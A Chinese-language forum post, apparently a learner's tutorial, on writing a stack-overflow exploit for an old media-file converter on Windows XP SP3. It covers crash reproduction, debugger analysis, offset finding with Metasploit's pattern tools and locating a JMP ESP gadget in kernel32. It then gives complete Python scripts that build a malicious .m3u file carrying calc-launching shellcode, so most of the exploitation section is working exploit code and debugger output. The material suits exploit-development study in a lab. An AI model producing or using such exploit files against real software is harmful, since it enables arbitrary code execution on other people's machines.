-
-
[原创]EXP编写学习 之 栈溢出(一)
-
2022-4-27 23:39 7541
-
前言
我是逆向练习生 ,羽墨
在逆向的大道上,最喜欢的一条分支就是二进制漏洞了,通过读书与网上资料,结合自己的理解,总结出来二进制漏洞的三个技术要点
漏洞挖掘 漏洞分析 漏洞利用
漏洞挖掘先不谈
漏洞分析与利用是基本功(相辅相成),看一下CVE的历史,有很多都是捕捉到了利用样本,安全研究员分析出来的0day漏洞(毕竟真正的“黑客”是不会公开0day的)那么必不可少的需要学习漏洞利用与分析技术。
所以我学习二进制漏洞就先从漏洞利用与分析开始,目前国内的漏洞书籍有 0day2 与 漏洞战争, 前者重点讲述了二进制漏洞的原理与windows安全机制,后者重点讲述了漏洞分析的技术且有一些EXP的分析。简单都看了一遍以后,发现对于漏洞利用技术的知识还是差的很远,别人的EXP堪称艺术,自己。。。惨不忍睹,所以找到了看雪各路大神翻译的EXP编写系列教程。
EXP编写系列教程用的perl脚本 因为不熟悉,所以这里我使用py(其实我是C语言爱好者 但没办法C代码太长了 所以用py现学现卖) 另外教程中没有对漏洞软件进行分析 ,所以顺带对漏洞软件进行了一波分析。。。
注:新手上路 如有错误请大佬指正
漏洞验证与分析
1.环境
漏洞软件: https://www.exploit-db.com/exploits/10619
虚拟环境: Vmware Windows xp sp3 中文版
调试器: x32dbg ,windbg xp版
2.漏洞验证
1.打开我好久没用过的pycharm
2.编写一个简单的py脚本用来生成测试文件,经过20000-30000的文件大小测试,我用了27000,因为要分析。。
1 2 3 4 5 6 7 8 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = "\x41" * 27000 Fileptr = open (r 'crash.m3u' , 'w' ) Fileptr.write(char) Fileptr.close() print ( "CreatFile Success" ) |
3.打开后崩溃
3.漏洞分析
1.我使用x32dbg 打开漏洞软件,并设置调试器处理异常,之后打开测试文件,程序异常断下,查看栈回溯
好的,是栈溢出,栈帧都破坏了,看不出来什么,那么怎么定位漏洞位置。别急,山人自有妙计
进入反汇编窗口,查看寄存器与栈窗口,看到BBP指向了测试文件,一般EBP都是保存栈底,如果指向了一个数据,那么这个数据一般是不会变动的,并且必然要作为参数用到(逆向经验),那么可以在EBP的附近找一下,在栈窗口转到EBP,发现了惊喜,EBP作为参数调用了一个函数,而且栈也没有被破坏,因为栈是向低地址增长的,所以这个位置的函数,必然是栈溢出之前的函数,由这个参数来推测,它必然会对测试文件做一些处理操作。
2.在找到的这个函数地址下断
3.重新调试,打开测试文件后断下,果然这个函数是用来处理文件的,具体做了些什么不清楚,但根据程序名,推测这是处理格式转换的
4.经过一路跟踪,发现了它调用fopne函数打开文件,按照编程惯例,之后马上会有fwrite调用来把文件内容写入缓冲区
5.继续跟踪,看到在一系列操作过后,来到了溢出位置(快速浏览汇编代码,找到对栈进行操作的位置)
6.可以看到在这里,在进行了大小计算后,对栈进行了赋值操作,本来想通过栈缓冲区大小来精准定位返回地址,但是经过计算,发现对文件进行操作的时候,文件的大小改变了,并且文件内容也有一些改变,应该是转换过程中的操作,所以没办法根据栈缓冲区大小来定位返回地址了。
7.分析到这里,漏洞成因也可以确定了,这个程序把数据读入缓冲区,经过一系列的处理后,写到了栈中,且没有比较大小,以数据大小来进行赋值,所以造成了栈溢出
漏洞利用
1.漏洞利用精确覆盖返回地址
通过计算栈大小失败后,可以使用msf的pattern_create.rb 与 pattern_offset 来进行定位,cd到msf的工具目录,使用脚本(我使用kali来生成 windows也可以 但不推荐 环境配置会有很多坑)
1 | . / pattern_create.rb - l 5000 > / home / kali / Desktop / test.txt |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = "\x41" * 25000 Fileptr = open (r 'crash.m3u' , 'w' ) testfile = open (r 'test.txt' , 'r' ) teststr = testfile.read() Fileptr.write(char) Fileptr.close() testfile.close() print ( "CreatFile Success" ) |
2.使用上述两个脚本后,生成测试文件,再次调试,进行返回地址精确定位
1 2 3 4 5 6 7 | (e94. 8bc ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000001 ebx = 00104a58 ecx = 7c93003d edx = 00aa0000 esi = 77c2fce0 edi = 00007530 eip = 366a4235 esp = 000ffd38 ebp = 00104678 iopl = 0 nv up ei pl nz ac pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010216 366a4235 ?? ??? |
1 2 | . / pattern_offset.rb - q 366a4235 - l 5000 [ * ] Exact match at offset 1067 |
这两个脚本的简单原理就是(可以-h查看帮助),通过它生成的畸形数据(每次生成都一样)来覆盖返回地址,然后覆盖返回地址以后,通过那个值来计算在测试数据中的偏移,以此来确定返回位置,进行精准打击
3.脚本返回的偏移为 1067 ,加上25000个A ,也就是文件里 26067的位置 , 继续写脚本进行测试 (偏移地址因环境而已)
1 2 3 4 5 6 7 8 9 10 11 12 13 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = "\x41" * 26067 retaddr = "BBBB" char2 = 'C' * 1000 Fileptr = open (r 'crash.m3u' , 'w' ) Fileptr.write(char + retaddr + char2) Fileptr.close() print ( "CreatFile Success" ) |
4.好的,返回地址被覆盖为BBBB 也就是42424242
1 2 3 4 5 6 7 8 9 10 11 | (a30.f1c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000001 ebx = 00104a58 ecx = 7c93003d edx = 00aa0000 esi = 77c2fce0 edi = 000069bf eip = 42424242 esp = 000ffd38 ebp = 00104678 iopl = 0 nv up ei pl nz ac pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010216 42424242 ?? ??? 0 : 000 > dd esp 000ffd38 43434343 43434343 43434343 43434343 000ffd48 43434343 43434343 43434343 43434343 000ffd58 43434343 43434343 43434343 43434343 |
5.找到了返回地址的位置,那么要进行漏洞利用,还需要把shellcode放入程序中,并且需要让返回地址为shellcode地址或者nop区
众所周知,返回指令,可以附带操作数,也就是返回时弹出几个字节,所以我们需要确定到底返回了几个字节,根据之前的漏洞分析环节,找到漏洞位置后,直接F9,可以到返回指令 retn 4
另一个办法,修改char2部分的数据,修改后生成测试文件进行测试,查看esp,会得到同样的结论
6.shellcode一般不可以包含 0x00 ,会被截断
7.现在已经知道了返回会弹出4个字节,所以py脚本这样写,shellcode为xp sp3 弹出计算器的代码(比较简单,自己用汇编写了,如果想研究一下shellcode,可以把shellcode拷贝到调试器中,调整EIP直接运行即可看到代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = "\x41" * 26067 retaddr = "BBBB" perfix = "CCCC" shellcode = "\x90" * 20 shellcode + = \ "\x55\x8B\xEC\x33" \ "\xC0\x50\xB8\x2E" \ "\x65\x78\x65\x50" \ "\xB8\x63\x61\x6C" \ "\x63\x50\x8B\xC4" \ "\x6A\x05\x50\xB8" \ "\xAD\x23\x86\x7C" \ "\xFF\xD0\x33\xC0" \ "\x50\xB8\xFA\xCA" \ "\x81\x7C\xFF\xD0" \ "\x8B\xE5\x5D\x33" Fileptr = open (r 'crash.m3u' , 'w' ) Fileptr.write(char + retaddr + perfix + shellcode) Fileptr.close() print ( "CreatFile Success" ) |
8.那么现在需要确定返回地址了,返回地址覆盖时,同样不可以包含NULL字符,另外由于栈地址有一定的随机性,所以使用跳板指令jmp esp来达到我们的目的
9.搜索跳板地址的话,MSF有个小工具可以使用,msfpescan(这里不使用了)
根据教程,使用windbg 命令lmi (也可以使用OD的插件 OllyFindAddr)
然后使用搜索内存指令,我搜索的是kernel32 FF E4为JMP ESP 指令机器码 , 可以在调试器中修改汇编指令查看
1 2 | 0 : 010 > s 7c800000 7c91e000 FF E4 7c86467b ff e4 47 86 7c ff 15 58 - 15 80 7c 8d 85 38 fe ff ..G.|..X..|.. 8. . |
10.在py脚本中, retaddr换成 "\x7b\x46\x86\x7c" 小端序 , 如果你的一些字符在py中出现编码问题,在字符串前加b,并且文件以wb模式写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = b "\x41" * 26067 retaddr = b "\x7b\x46\x86\x7c" perfix = b "CCCC" shellcode = b "\x90" * 20 shellcode + = \ b "\x55\x8B\xEC\x33" \ b "\xC0\x50\xB8\x2E" \ b "\x65\x78\x65\x50" \ b "\xB8\x63\x61\x6C" \ b "\x63\x50\x8B\xC4" \ b "\x6A\x05\x50\xB8" \ b "\xAD\x23\x86\x7C" \ b "\xFF\xD0\x33\xC0" \ b "\x50\xB8\xFA\xCA" \ b "\x81\x7C\xFF\xD0" \ b "\x8B\xE5\x5D\x33" Fileptr = open (r 'EXP.m3u' , 'wb+' ) Fileptr.write(char + retaddr + perfix + shellcode) Fileptr.close() print ( "CreatFile Success" ) |
11.生成EXP文件,进行测试,由于我的shellcode中,最后使用了ExitProcess 所以没有弹出崩溃窗口(如果读者对跳板指令不熟悉,可以跟踪调试一下,就会理解其中原理)
12.如果想使用别的shellcode(例如反弹shell),可以自己编写,或者使用msf的shellcode模块,生成时可以选择shellcode功能与编码方式(由于利用较为简单,不使用了,后续使用会说明用法)
总结
1.使用样本测试到漏洞分析
2.漏洞分析找到漏洞成因
3.熟悉python编程并写出EXP代码
4.一些小技巧,例如windbg指令,分析技巧,需要读者自己去总结了
5.由于这个软件没有任何安全机制,所以不展开讨论,后续章节再详细解析
参考资料
看雪 EXP编写系列教程 第一章
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法